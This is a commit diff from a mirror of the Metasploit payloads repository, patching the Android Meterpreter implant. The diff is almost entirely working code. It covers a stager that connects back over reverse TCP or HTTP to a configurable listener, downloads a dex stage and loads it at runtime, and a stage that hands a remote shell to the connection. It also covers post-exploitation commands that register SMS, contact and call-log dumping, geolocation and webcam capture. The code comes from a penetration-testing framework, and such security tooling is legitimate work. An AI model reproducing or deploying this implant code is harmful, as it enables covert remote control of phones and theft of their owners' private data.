1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

Land , , , @timwr's omnibus android meterpreter patch set

This fixes a number of compatibilty issues with the latest Metasploit
framework and Android SDKs, along with setting the stage for running as
root on Android.
This commit is contained in:
Brent Cook 2015-01-30 09:24:02 -06:00
commit 256fd007b8
14 changed files with 255 additions and 209 deletions
java
.gitignore
androidpayload
app/src/com/metasploit/stage
library
pom.xml
src
androidpayload/stage
com/metasploit/meterpreter
ndkstager/jni
meterpreter
meterpreter/src/main/java/com/metasploit/meterpreter
stdapi/src/main/java/com/metasploit/meterpreter/stdapi

2
java/.gitignore vendored

@ -8,10 +8,12 @@
*/*/.settings
*/*/bin
*/*/target
*.iml
*.swp
*.orig
*.rej
*~
.idea/
androidpayload/ndkstager/libs
androidpayload/ndkstager/obj
.DS_Store

@ -8,7 +8,7 @@ public class MainActivity extends Activity
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Payload.startWithContext(this);
Payload.startInPath(getFilesDir().toString());
finish();
}
}

@ -1,80 +1,32 @@
package com.metasploit.stage;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;
import javax.net.ssl.HttpsURLConnection;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import dalvik.system.DexClassLoader;
public class Payload {
final static int URI_CHECKSUM_INITJ = 88;
final static String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
public static final String LHOST = "XXXX127.0.0.1 ";
public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String TRIALS = "TTTT ";
public static final String LHOST = "XXXX127.0.0.1 ";
public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String TRIALS = "TTTT ";
public static Context context;
static Random rnd = new Random();
private static final int URI_CHECKSUM_INITJ = 88;
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
private static final Random rnd = new Random();
public static void start() {
if (context == null) {
try {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
Context application = null;
try {
application = (Context) currentApplication.invoke(null, (Object[]) null);
} catch (Exception e) {
e.printStackTrace();
}
if (application != null) {
startWithContext(application);
} else {
startAsync();
}
}
});
} else {
startWithContext(context);
}
} catch (Exception e) {
e.printStackTrace();
}
} else {
startWithContext(context);
}
}
public static void startWithContext(Context context) {
Payload.context = context.getApplicationContext();
// Set the working directory somewhere writeable
System.setProperty("user.dir", context.getFilesDir().getAbsolutePath());
startAsync();
}
private static String[] parameters;
public static void startAsync() {
new Thread() {
@ -86,8 +38,17 @@ public class Payload {
}.start();
}
public static void main(String[] args) {
public static void startInPath(String path) {
parameters = new String[] { path };
startAsync();
}
public static void main(String[] args) {
if (args != null) {
File currentDir = new File(".");
String path = currentDir.getAbsolutePath();
parameters = new String[] { path };
}
int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
while (!startReverseConn() && nTrials-- > 0) {
try {
@ -99,10 +60,11 @@ public class Payload {
private static boolean startReverseConn() {
try {
if (URL.substring(4).trim().length() == 0)
reverseTCP();
else
reverseHTTP();
if (URL.substring(4).trim().length() == 0) {
reverseTCP();
} else {
reverseHTTP();
}
return true;
} catch (Exception e) {
@ -110,25 +72,26 @@ public class Payload {
}
}
static String randomString(int len) {
private static String randomString(int len) {
StringBuilder sb = new StringBuilder(len);
for (int i = 0; i < len; i++)
sb.append(AB.charAt(rnd.nextInt(AB.length())));
for (int i = 0; i < len; i++) {
sb.append(AB.charAt(rnd.nextInt(AB.length())));
}
return sb.toString();
}
static int checksumText(String s) {
private static int checksumText(String s) {
int tmp = 0;
for (int i = 0; i < s.length(); i++)
tmp += (int) s.charAt(i);
for (int i = 0; i < s.length(); i++) {
tmp += (int) s.charAt(i);
}
return tmp % 0x100;
}
private static void reverseHTTP() throws Exception {
int checksum = 0;
int checksum;
String URI;
HttpURLConnection urlConn;
String lurl = URL.substring(4).trim();
while (true) {
@ -138,7 +101,7 @@ public class Payload {
break;
}
String FullURI = "/" + URI.toString();
String FullURI = "/" + URI;
URL url = new URL(lurl + FullURI + "_" + randomString(16));
@ -147,22 +110,36 @@ public class Payload {
Class.forName("com.metasploit.stage.PayloadTrustManager")
.getMethod("useFor", new Class[] { URLConnection.class })
.invoke(null, new Object[] { urlConn });
} else
urlConn = (HttpURLConnection) url.openConnection();
} else {
urlConn = (HttpURLConnection) url.openConnection();
}
urlConn.setDoInput(true);
urlConn.setRequestMethod("GET");
urlConn.connect();
DataInputStream in = new DataInputStream(urlConn.getInputStream());
loadStage(in, null, context, new String[] {});
loadStage(in, null, parameters);
urlConn.disconnect();
}
private static void loadStage(DataInputStream in, OutputStream out,
Context context, String[] parameters) throws Exception {
private static void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters);
String path = new File(".").getAbsolutePath();
} catch (Exception e) {
e.printStackTrace();
}
}
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex";
@ -195,23 +172,7 @@ public class Payload {
new File(dexPath).delete();
myClass.getMethod(
"start",
new Class[] { DataInputStream.class, OutputStream.class,
Context.class, String[].class }).invoke(stage,
new Object[] { in, out, context, new String[] {}, });
new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage,
new Object[] { in, out, parameters });
}
private static void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, context, new String[] {});
} catch (Exception e) {
e.printStackTrace();
}
}
}

@ -88,11 +88,11 @@
<copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/shell.jar" />
@ -104,10 +104,10 @@
<copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/metstage.jar" />
@ -117,9 +117,11 @@
<echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
<fileset dir="${project.basedir}/target/classes">
<include name="com/metasploit/meterpreter/**/*.class" />
</fileset>
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/meterpreter.jar" />

@ -1,24 +1,21 @@
package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Random;
import dalvik.system.DexClassLoader;
import javapayload.stage.Stage;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String path = new File(".").getAbsolutePath();
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "met.jar";
String dexPath = path + File.separatorChar + "met.dex";
@ -43,7 +40,7 @@ public class Meterpreter implements Stage {
file.delete();
new File(dexPath).delete();
myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class
}).newInstance(in, out, context, false);
DataInputStream.class, OutputStream.class, String[].class, boolean.class
}).newInstance(in, out, parameters, false);
}
}

@ -1,11 +1,10 @@
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
import javapayload.stage.Stage;
import javapayload.stage.StreamForwarder;
/**
@ -13,7 +12,7 @@ import javapayload.stage.StreamForwarder;
*/
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();

@ -1,44 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}

@ -1,12 +1,16 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.File;
import java.io.OutputStream;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import com.metasploit.meterpreter.android.check_root_android;
import com.metasploit.meterpreter.android.dump_calllog_android;
import com.metasploit.meterpreter.android.dump_contacts_android;
import com.metasploit.meterpreter.android.dump_sms_android;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android;
@ -35,32 +39,62 @@ import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
import com.metasploit.meterpreter.android.check_root_android;
import com.metasploit.meterpreter.android.dump_calllog_android;
import com.metasploit.meterpreter.android.dump_contacts_android;
import com.metasploit.meterpreter.android.dump_sms_android;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
import java.io.DataInputStream;
import java.io.File;
import java.io.OutputStream;
import java.lang.reflect.Method;
public class AndroidMeterpreter extends Meterpreter {
private static String writeableDir;
private static Context context;
private void findContext() throws Exception {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
try {
context = (Context) currentApplication.invoke(null, (Object[]) null);
} catch (Exception e) {
e.printStackTrace();
}
try {
startExecuting();
} catch (Exception e) {
e.printStackTrace();
}
}
});
} else {
startExecuting();
}
}
public static Context getContext() {
return context;
}
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
AndroidMeterpreter.context = context;
startExecuting();
writeableDir = parameters[0];
try {
findContext();
} catch (Exception e) {
e.printStackTrace();
startExecuting();
}
}
@Override
public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager();
Loader.cwd = new File(".").getAbsoluteFile();
Loader.cwd = new File(writeableDir);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);

@ -46,8 +46,8 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
(*env)->GetMethodID(env, dex_class, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"),
class_file);
// Call Payload.start();
(*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "start", "()V"));
// Call Payload.startInPath();
(*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "startInPath", "(Ljava/lang/String;)V"), file_path);
(*env)->DeleteLocalRef(env, jar_file);
(*env)->DeleteLocalRef(env, file_path);

@ -26,6 +26,7 @@ public class TLVPacket {
public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18);
public static final int TLV_META_TYPE_BOOL = (1 << 19);
public static final int TLV_META_TYPE_QWORD = (1 << 20);
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
public static final int TLV_META_TYPE_GROUP = (1 << 30);
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
@ -39,9 +40,14 @@ public class TLVPacket {
private List/* <Integer> */typeOrder = new ArrayList();
/**
* A map, mapping the types (as {@link Integer} objects) to values (different kinds of objects). There are type-safe helper methods to retrieve one of those objects from the map.
* A list of objects that represent the values stored in the package.
*/
private Map/* <Integer,Object> */valueMap = new HashMap();
private List/* <Integer> */valueList = new ArrayList();
/**
* A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array.
*/
private Map/* <Integer,ArrayList> */valueMap = new HashMap();
/**
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
@ -58,11 +64,11 @@ public class TLVPacket {
* Read a TLV packet from an input stream.
*
* @param in
* Input stream to read from
* Input stream to read from
* @param remaining
* length of the packet to read in bytes
* length of the packet to read in bytes
* @throws IOException
* if an error occurs
* if an error occurs
*/
public TLVPacket(DataInputStream in, int remaining) throws IOException {
while (remaining > 0) {
@ -85,6 +91,8 @@ public class TLVPacket {
if (string.indexOf('\0') != -1)
throw new IOException("Embedded null detected: " + string);
value = string;
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
value = new Long(in.readLong());
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
value = new Integer(in.readInt());
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
@ -114,11 +122,22 @@ public class TLVPacket {
* Add a TLV value to this object.
*/
public void add(int type, Object value) throws IOException {
ArrayList indices = null;
Integer typeObj = new Integer(type);
typeOrder.add(typeObj);
if (valueMap.containsKey(typeObj))
throw new IOException("Duplicate type: " + type);
valueMap.put(typeObj, value);
if (valueMap.containsKey(typeObj)) {
indices = (ArrayList)valueMap.get(typeObj);
} else {
indices = new ArrayList();
valueMap.put(typeObj, indices);
}
// add the index of the new element to the list of indices for the object
indices.add(new Integer(valueList.size()));
// add the value to the list of values that make up the object
valueList.add(value);
}
/**
@ -129,6 +148,13 @@ public class TLVPacket {
overflowList.add(value);
}
/**
* Add a TLV value to this object.
*/
public void add(int type, long value) throws IOException {
add(type, new Long(value));
}
/**
* Add a TLV value to this object.
*/
@ -154,20 +180,39 @@ public class TLVPacket {
* Get the value associated to a type.
*/
public Object getValue(int type) {
Object result = valueMap.get(new Integer(type));
if (result == null)
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type);
return result;
// the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue());
}
/**
* Get the list of values associated to a type.
*/
public List getValues(int type) {
ArrayList values = new ArrayList();
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type);
for (int i = 0; i < indices.size(); ++i) {
values.add(valueList.get(((Integer)indices.get(i)).intValue()));
}
return values;
}
/**
* Get the value associated to a type.
*/
public Object getValue(int type, Object defaultValue) {
Object result = valueMap.get(new Integer(type));
if (result == null)
result = defaultValue;
return result;
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (indices == null)
return defaultValue;
// the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue());
}
/**
@ -184,6 +229,13 @@ public class TLVPacket {
return (String) getValue(type, defaultValue);
}
/**
* Get the value associated to a type as an int.
*/
public long getLongValue(int type) {
return ((Long) getValue(type)).longValue();
}
/**
* Get the value associated to a type as an int.
*/
@ -212,7 +264,7 @@ public class TLVPacket {
for (Iterator it = typeOrder.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next();
int type = typeKey.intValue();
Object value = valueMap.get(typeKey);
Object value = getValue(type);
write(out, type, value);
}
for (Iterator it = overflowList.iterator(); it.hasNext();) {
@ -224,12 +276,17 @@ public class TLVPacket {
}
/**
* Write a single vlaue to an output stream.
* Write a single value to an output stream.
*/
private static void write(DataOutputStream out, int type, Object value) throws IOException {
byte[] data;
if ((type & TLV_META_TYPE_STRING) != 0) {
data = ((String) value + "\0").getBytes("ISO-8859-1");
} else if ((type & TLV_META_TYPE_QWORD) != 0) {
out.writeInt(16);
out.writeInt(type);
out.writeLong(((Long) value).longValue());
return;
} else if ((type & TLV_META_TYPE_UINT) != 0) {
out.writeInt(12);
out.writeInt(type);

@ -47,10 +47,10 @@ public interface TLVType {
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
// General
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 600;
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600;
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 631;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631;
// Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
@ -91,7 +91,7 @@ public interface TLVType {
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
// Registry
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_UINT | 1000;
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000;
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
@ -105,13 +105,17 @@ public interface TLVType {
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100;
public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101;
public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102;
// Process
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2000;
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000;
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2005;
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005;
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
@ -125,16 +129,16 @@ public interface TLVType {
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_UINT | 2404;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404;
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_UINT | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_UINT | 2512;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512;
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
@ -149,7 +153,7 @@ public interface TLVType {
// Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 4001;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001;
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;

@ -43,6 +43,7 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);

@ -0,0 +1,34 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.util.List;
public class stdapi_sys_config_getenv implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE);
for (int i = 0; i < envVars.size(); ++i) {
String envVar = (String)envVars.get(i);
if (envVar.startsWith("$") || envVar.startsWith("%")) {
envVar = envVar.substring(1);
}
if (envVar.endsWith("$") || envVar.endsWith("%")) {
envVar = envVar.substring(0, envVar.length() - 1);
}
String envVal = System.getenv(envVar);
TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar);
grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal);
response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp);
}
return ERROR_SUCCESS;
}
}

@ -1,14 +1,13 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.util.StringTokenizer;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.ProcessChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.io.IOException;
public class stdapi_sys_process_execute implements Command {
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
@ -37,7 +36,7 @@ public class stdapi_sys_process_execute implements Command {
synchronized (stdapi_sys_process_execute.class) {
pid++;
response.add(TLVType.TLV_TYPE_PID, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long)pid);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
} else {